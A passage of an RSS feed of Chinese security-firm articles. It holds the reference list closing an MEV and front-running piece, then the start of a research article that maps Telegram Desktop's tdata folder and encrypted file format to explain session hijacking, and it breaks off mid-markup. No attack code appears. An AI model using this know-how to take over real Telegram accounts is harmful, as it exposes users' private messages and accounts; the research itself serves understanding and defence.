mpa-from-tpl="t"><br/></section></section></section><p style="line-height: 1.5em;margin-left: 1em;margin-right: 1em;"><br/></p><h3 style="margin: 10pt 1em 0pt;text-align: justify;text-indent: 0pt;break-after: avoid;font-size: 14pt;font-family: Calibri;color: rgb(79, 129, 189);line-height: 1.5em;"></h3><section style="text-align: justify;margin: 8px 1em 24px;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">在bsc链上也拥有和flashbot一样类似的服务（direct route），这个服务由NodeReal验证节点提供，具体可以参考：<a href="https://directroute.nodereal.io/。" target="_blank">https://directroute.nodereal.io/。</a></span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">目前，direct route服务目前有3个验证节点，占14%（3/21），上链速度一般。</span></section><p style="margin: 0pt 1em 10pt;text-align: left;text-indent: 0pt;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 15px;"><img class="rich_pages wxw-img" data-ratio="0.08928571428571429" style="width:560.010009765625px;height:49.54999923706055px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=0564cecf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDvUDBe6ESN0oyl3xq0YdgKlkyrnXkZaMbkc7Fk0BrWHlBfQWQaVzjGA%2F640%3Fwx_fmt%3Dpng"/></span></p><section mpa-from-tpl="t" style="margin-left: 1em;margin-right: 1em;"><section data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><img class="rich_pages wxw-img" data-ratio="0.8043478260869565" style="margin: 0px;padding: 0px;max-width: 100%;vertical-align: bottom;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;height: auto !important;overflow-wrap: break-word !important;border-radius: 3px;" data-type="png" data-w="92" src="https://wechat2rss.xlab.app/img-proxy/?k=a54a528d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrMibC0btkqvnjoq6FuI5HfYXibdZ4Oe0aPtFic2P8RMGI9wNkLS83kAfr66FlZJcX68hksuWx7NzSsSGqXyaZQv3A%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><br/></p><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: space-between;width: 100%;margin-bottom: -5px;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;background: #F9F9F9;text-align: center;padding: 0px 31px;z-index: 1;" data-mid="" mpa-from-tpl="t"><section style="font-size: 16px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(51, 51, 51);line-height: 1.75em;"><strong><span style="letter-spacing: 1px;font-size: 16px;">参考资料</span></strong></section></section><section style="line-height: 1.75em;"><section style="display: flex;justify-content: center;align-items: center;margin-top: -5px;justify-content: space-between;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section style="line-height: 1.75em;"><br/></section></section></section></section></section></section></section><ul class="list-paddingleft-1" style="list-style-type: square;margin-left: 1em;margin-right: 1em;"><li style="color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 15px;"><section style="text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><strong><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">  Mev</span></strong></span></section></li></ul><section style="margin-left: 1em;margin-right: 1em;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><a href="https://ethereum.org/en/developers/docs/mev/" target="_blank">https://ethereum.org/en/developers/docs/mev/</a></span></section><section style="margin-left: 1em;margin-right: 1em;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><a href="https://www.paradigm.xyz/2020/08/ethereum-is-a-dark-forest" target="_blank">https://www.paradigm.xyz/2020/08/ethereum-is-a-dark-forest</a></span></section><section style="margin-left: 1em;margin-right: 1em;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><a href="https://rekt.news/return-to-the-dark-forest/" target="_blank">https://rekt.news/return-to-the-dark-forest/</a></span></section><section style="margin-left: 1em;margin-right: 1em;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><a href="https://arxiv.org/pdf/2009.14021.pdf" target="_blank">https://arxiv.org/pdf/2009.14021.pdf</a></span></section><ul class="list-paddingleft-1" style="list-style-type: square;margin-left: 1em;margin-right: 1em;"><li style="color: rgb(84, 84, 84);font-weight: bold;letter-spacing: 1px;font-size: 15px;"><section style="text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><strong><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">  Frontrun</span></strong></span></section></li></ul><section style="margin-left: 1em;margin-right: 1em;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><a href="https://medium.com/flashbots/frontrunning-the-mev-crisis-40629a613752" target="_blank">https://medium.com/flashbots/frontrunning-the-mev-crisis-40629a613752</a></span></section><section style="margin-left: 1em;margin-right: 1em;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><a href="https://medium.com/beaver-smartcontract-security/defi-security-lecture-8-front-running-attack-3247045dd9cd" target="_blank">https://medium.com/beaver-smartcontract-security/defi-security-lecture-8-front-running-attack-3247045dd9cd</a></span></section><ul class="list-paddingleft-1" style="list-style-type: square;margin-left: 1em;margin-right: 1em;"><li style="color: rgb(84, 84, 84);font-weight: bold;letter-spacing: 1px;font-size: 15px;"><section style="text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><strong><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">  Sandwich</span></strong></span></section></li></ul><section style="margin-left: 1em;margin-right: 1em;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><a href="https://hackmd.io/@norswap/mev" target="_blank">https://hackmd.io/@norswap/mev</a></span></section><section style="margin-left: 1em;margin-right: 1em;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><a href="https://medium.com/coinmonks/defi-sandwich-attack-explain-776f6f43b2fd" target="_blank">https://medium.com/coinmonks/defi-sandwich-attack-explain-776f6f43b2fd</a></span></section><section style="margin-left: 1em;margin-right: 1em;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><a href="https://hackernoon.com/no-sandwich-please-popular-defi-attack-strategy-analysis-jk1734rf" target="_blank">https://hackernoon.com/no-sandwich-please-popular-defi-attack-strategy-analysis-jk1734rf</a></span></section><ul class="list-paddingleft-1" style="list-style-type: square;margin-left: 1em;margin-right: 1em;"><li style="color: rgb(84, 84, 84);font-weight: bold;letter-spacing: 1px;font-size: 15px;"><section style="text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><strong><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">  Liquidation</span></strong></span></section></li></ul><section style="margin-left: 1em;margin-right: 1em;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><a href="https://gerhard-wagner.medium.com/the-defi-liquidation-game-aaef5c0b903d" target="_blank">https://gerhard-wagner.medium.com/the-defi-liquidation-game-aaef5c0b903d</a></span></section><section style="margin-left: 1em;margin-right: 1em;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><a href="https://medium.com/dragonfly-research/liquidators-the-secret-whales-helping-defi-function-acf132fbea5e" target="_blank">https://medium.com/dragonfly-research/liquidators-the-secret-whales-helping-defi-function-acf132fbea5e</a></span></section><section mpa-from-tpl="t" style="margin-left: 1em;margin-right: 1em;"><section data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><p style="line-height: 1.5em;"><br/></p></section></section></section></section></section><p style="margin: 0pt 1em 10pt;text-align: left;font-size: 12pt;font-family: Cambria;font-weight: normal;text-indent: -24pt;line-height: 1.5em;"><span style="font-size: 12pt;font-family: Cambria;text-decoration: none;letter-spacing: 1px;"><br mpa-from-tpl="t"/></span></p><section data-mpa-template="t" mpa-from-tpl="t" style="margin-left: 1em;margin-right: 1em;"><section mpa-from-tpl="t"><p style="width: 100%;text-align: center;line-height: 1.5em;"><img class="rich_pages wxw-img" data-ratio="0.04523809523809524" style="width:80%;" data-type="png" data-w="420" src="https://wechat2rss.xlab.app/img-proxy/?k=f28d49ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeibD9APSYL3bZRiaGJAC3icVgZc4ticYUUjNacBOmmjUBccibib6mKoibicWrREcgWxLmNrvRTKPPwo9xGPw%2F640%3Fwx_fmt%3Dpng"/></p></section></section><section style="display: flex;justify-content: flex-end;align-items: center;width: 100%;margin-left: 1em;margin-right: 1em;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;padding-right: 43px;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;margin-left: -8.1px;align-self: flex-start;display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><br/></section></section></section>



<p><a href="2247490054">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3c62e756&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247490054%26idx%3D1%26sn%3Dfaa8621631fcaf39d7e4b448b2cf2f35%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 09 Jun 2022 18:08:00 +0800</pubDate>
    </item>
    <item>
      <title>Telegram session劫持探索</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484453&amp;idx=1&amp;sn=397e9bc07219a48b45b83b8bb7984b3a</link>
      <description>Telegram seession劫持的相关探索~</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2022-01-20 15:47</span> <span style="display: inline-block;"></span>
</p>

<p>Telegram seession劫持的相关探索~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e2532637&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzYTGibmElhe55hG1icsdciclDZLBAUaZed1RgickLcZp49EDKTbUdS7d5Ww%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="title" data-tools="135编辑器" data-id="108582" data-color="#59c3f9"><section style="text-align: center;margin: 10px 13px;"><section style="display: inline-block;text-align: right;"><section style="display: inline-block;transform: rotate(15deg) translate(13px, 5px);-webkit-transform: rotate(15deg) translate(13px, 5px);-moz-transform: rotate(15deg) translate(13px, 5px);-ms-transform: rotate(15deg) translate(13px, 5px);-o-transform: rotate(15deg) translate(13px, 5px);"><section style="background-image: linear-gradient(to right, rgb(89, 195, 249) 0%, rgb(148, 219, 255) 100%);background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 7px 2px 13px;"><section style="display: flex;justify-content: center;align-items: flex-start;"><section style="box-sizing: border-box;width: 17px;height: 2px;background-color: rgb(255, 255, 255);margin-right: -4px;overflow: hidden;transform: rotate(30deg);-webkit-transform: rotate(30deg);-moz-transform: rotate(30deg);-ms-transform: rotate(30deg);-o-transform: rotate(30deg);"><br/></section><section style="box-sizing: border-box;width: 17px;height: 2px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(-30deg);-webkit-transform: rotate(-30deg);-moz-transform: rotate(-30deg);-ms-transform: rotate(-30deg);-o-transform: rotate(-30deg);"><br/></section></section></section></section><section style="border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding-bottom: 14px;margin-top: -23px;box-sizing: border-box;"><section style="display: flex;justify-content: flex-start;align-items: center;background-color: rgb(239, 239, 239);padding: 6px;box-sizing: border-box;"><section style="box-sizing: border-box;width: 5px;height: 5px;background-color: rgb(0, 0, 0);border-radius: 50%;margin-left: 4px;overflow: hidden;"><br/></section><section style="box-sizing: border-box;width: 5px;height: 5px;background-color: rgb(0, 0, 0);border-radius: 50%;margin-right: 3px;margin-left: 3px;overflow: hidden;"><br/></section><section style="box-sizing: border-box;width: 5px;height: 5px;background-color: rgb(0, 0, 0);border-radius: 50%;overflow: hidden;"><br/></section></section><section style="box-sizing: border-box;width: 100%;height: 1px;background-color: rgb(0, 0, 0);margin-bottom: 10px;overflow: hidden;" data-width="100%"><br/></section><section style="padding-right: 30px;padding-left: 30px;box-sizing: border-box;"><section style="font-size: 20px;letter-spacing: 1.5px;color: #000;"><span style="color: rgb(0, 213, 255);"><strong><strong data-brushtype="text"><h1 cid="n0" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.2;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;color: rgb(51, 51, 51);font-family: Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 24px;"></span></h1></strong><h1 cid="n0" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.2;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;color: rgb(51, 51, 51);font-family: Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 24px;">Telegram session</span></h1><h1 cid="n0" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.2;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;color: rgb(51, 51, 51);font-family: Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 24px;">劫持探索</span></h1></strong></span></section><section data-brushtype="text" style="font-size: 12px;letter-spacing: 0.7px;color: #000;"><strong><span style="font-size: 16px;font-family: Helvetica, Arial, sans-serif;">零鉴科技</span></strong></section></section></section></section></section></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-tools="135编辑器" data-id="108575" data-color="#59c3f9"><section style="text-align: center;margin: 10px 10%;"><section style="box-sizing: border-box;width: 13px;margin-bottom: -9px;margin-left: -6px;"><img data-ratio="1.2307692307692308" style="box-sizing:border-box;vertical-align:inherit;width: 100%;display: block;" data-type="png" data-w="13" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=ae3834db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJaFvPvvA2J31H6vVzuVIBicaKlld3DgltBWFq3nv7SyxVxorUF2B3AmQaLRxtusqiak0F5D8iblic68sMibAdOJhU3w%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box;"><section style="display: flex;justify-content: space-between;align-items: center;padding: 5px 5px 5px 20px;box-sizing: border-box;"><section style="box-sizing:border-box;width: 20px;height: 20px;background-color: #000;"><section style="font-size: 29px;color: rgb(255, 255, 255);line-height: 18px;text-align: left;">×</section></section></section><section style="box-sizing: border-box;width: 100%;height: 1px;background-color: rgb(0, 0, 0);overflow: hidden;" data-width="100%"><br/></section><p style="box-sizing: border-box;width: 100%;text-align: left;text-indent: 2em;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: Helvetica, Arial, sans-serif;">本文主要以telegram desktop源码作为起点，对其用户文件和认证过程进行学习和探索，从而更好的理解session劫持内部的机理。</span></p></section></section></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-tools="135编辑器" data-id="108591" data-color="#59c3f9"><section style="text-align: center;margin: 10px auto;"><section style="margin-left: 8px;"><section style="box-sizing: border-box;width: 100%;height: 6px;border-top: 1px solid rgb(0, 0, 0);border-right: 1px solid rgb(0, 0, 0);border-left: 1px solid rgb(0, 0, 0);border-bottom: none;background-color: rgb(239, 239, 239);overflow: hidden;" data-width="100%"><br/></section></section><section style="display: flex;"><section style="border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);flex: 1 1 0%;box-sizing: border-box;"><section style="background-image: linear-gradient(to right, rgb(173, 213, 255) 0%, rgb(245, 250, 255) 100%);background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 5px 15px 5px 20px;"><section style="display: flex;justify-content: space-between;align-items: center;"><section style="font-size: 20px;letter-spacing: 1.5px;color: #000;"><strong>文件结构</strong></section><section style="box-sizing:border-box;width: 30px;height: 30px;background-color: #000;display:flex;justify-content: center;align-items: center;transform: rotate(12deg) translate(0px, 10px);-webkit-transform: rotate(12deg) translate(0px, 10px);-moz-transform: rotate(12deg) translate(0px, 10px);-ms-transform: rotate(12deg) translate(0px, 10px);-o-transform: rotate(12deg) translate(0px, 10px);"><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(-45deg);-webkit-transform: rotate(-45deg);-moz-transform: rotate(-45deg);-ms-transform: rotate(-45deg);-o-transform: rotate(-45deg);"><br/></section></section></section></section><section style="border-top: 1px solid rgb(0, 0, 0);padding: 20px 16px;text-align: left;box-sizing: border-box;"><section style="line-height: 1.6em;" data-role="list"><section data-role="list"><p style="text-align:center;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><strong><span style="font-size: 20px;font-family: Helvetica, Arial, sans-serif;">目录结构</span></strong><br/></p><p cid="n5" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">Telegram用户数据一般存放在与telegram.exe同目录下的tdata文件夹内。</span></p><p cid="n6" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">一个有效的telegram登录用户的目录结构如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer">.</span></code><code><span class="code-snippet_outer">├── 3241E7577682E411s</span></code><code><span class="code-snippet_outer">├── D877F783D5D3EF8C</span></code><code><span class="code-snippet_outer">│   ├── 5DFE1B025533CC34s</span></code><code><span class="code-snippet_outer">│   ├── 80EB1923C860B053s</span></code><code><span class="code-snippet_outer">│   ├── 83481FA7DFF31E68s</span></code><code><span class="code-snippet_outer">│   ├── 9710392255F6037Es</span></code><code><span class="code-snippet_outer">│   ├── 9DD9F15BEB962075s</span></code><code><span class="code-snippet_outer">│   ├── configs</span></code><code><span class="code-snippet_outer">│   └── maps</span></code><code><span class="code-snippet_outer">├── D877F783D5D3EF8Cs</span></code><code><span class="code-snippet_outer">├── ED5F06835F0E7386s</span></code><code><span class="code-snippet_outer">├── countries</span></code><code><span class="code-snippet_outer">├── dumps</span></code><code><span class="code-snippet_outer">├── emoji</span></code><code><span class="code-snippet_outer">│   ├── ...</span></code><code><span class="code-snippet_outer">├── key_datas</span></code><code><span class="code-snippet_outer">├── prefix</span></code><code><span class="code-snippet_outer">├── settingss</span></code><code><span class="code-snippet_outer">├── shortcuts-custom.json</span></code><code><span class="code-snippet_outer">├── shortcuts-default.json</span></code><code><span class="code-snippet_outer">├── user_data</span></code><code><span class="code-snippet_outer">│   ├── <span class="code-snippet__keyword">cache</span></span></code><code><span class="code-snippet_outer">│   │   └── <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">│   │       ├── <span class="code-snippet__number">00</span></span></code><code><span class="code-snippet_outer">│   │       │   ├── <span class="code-snippet__number">1868</span>D6DC9582</span></code><code><span class="code-snippet_outer">│   │       │   └── EFB0CD60440D</span></code><code><span class="code-snippet_outer">│   │       ├── ...</span></code><code><span class="code-snippet_outer">│   │       └── <span class="code-snippet__keyword">binlog</span></span></code><code><span class="code-snippet_outer">│   └── media_cache</span></code><code><span class="code-snippet_outer">│       ├── <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">│       │   ├── <span class="code-snippet__number">00</span></span></code><code><span class="code-snippet_outer">│       │   │   └── <span class="code-snippet__number">1</span>A7B91AEEBD8</span></code><code><span class="code-snippet_outer">│       │   ├── <span class="code-snippet__number">01</span></span></code><code><span class="code-snippet_outer">│       │   ├── ...</span></code><code><span class="code-snippet_outer">│       │   └── <span class="code-snippet__keyword">binlog</span></span></code><code><span class="code-snippet_outer">│       └── <span class="code-snippet__keyword">version</span></span></code><code><span class="code-snippet_outer">└── usertag</span></code></pre></section><p cid="n8" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">可以看到，大部分文件可以通过文件名来间接的了解文件内部数据所代表的的含义，但仍有一部分文件名由数字+字母（A~F）构成，比如：<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">D877F783D5D3EF8C</code>，并且telergram的大部分文件的内容为不可读的二进制数据。因此在这里通过阅读源码的方式来探索文件名的含义，从而进一步了解telegram文件的数据构成和登录session的存储位置。</span></p></section></section><section style="margin-top: 15px;border-top: 1px dashed rgb(0, 0, 0);padding-top: 15px;line-height: 1.6em;box-sizing: border-box;"><p style="text-align:center;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><strong><span style="font-size: 20px;font-family: Helvetica, Arial, sans-serif;">数据文件</span></strong></p><p style="vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><br/></p><p style="vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><strong><span style="font-size: 18px;font-family: Helvetica, Arial, sans-serif;">A.文件结构</span></strong></p><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span style="box-sizing: border-box;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">Telegram/SourceFiles/storage/details/storage_file_utilities.cpp:ReadFile()</code>函数中可以很清楚的看到telergram读取文件的逻辑。数据文件主要分为四个部分，依次为魔数，版本号，加密数据和签名，其中魔数占据文件的前四个字节，固定为<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">TDF$</code>（telegram desktop file），版本号占据后四个字节（当前为<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">0x002dd278 = 3003000 = v3.3.0</code>），接下来是加密数据，最后文件末尾为16个字节的签名。</span></p><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span md-inline="plain" style="box-sizing: border-box;font-size: 16px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="506" data-backw="874" data-galleryid="" data-ratio="0.5784114052953157" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="982" 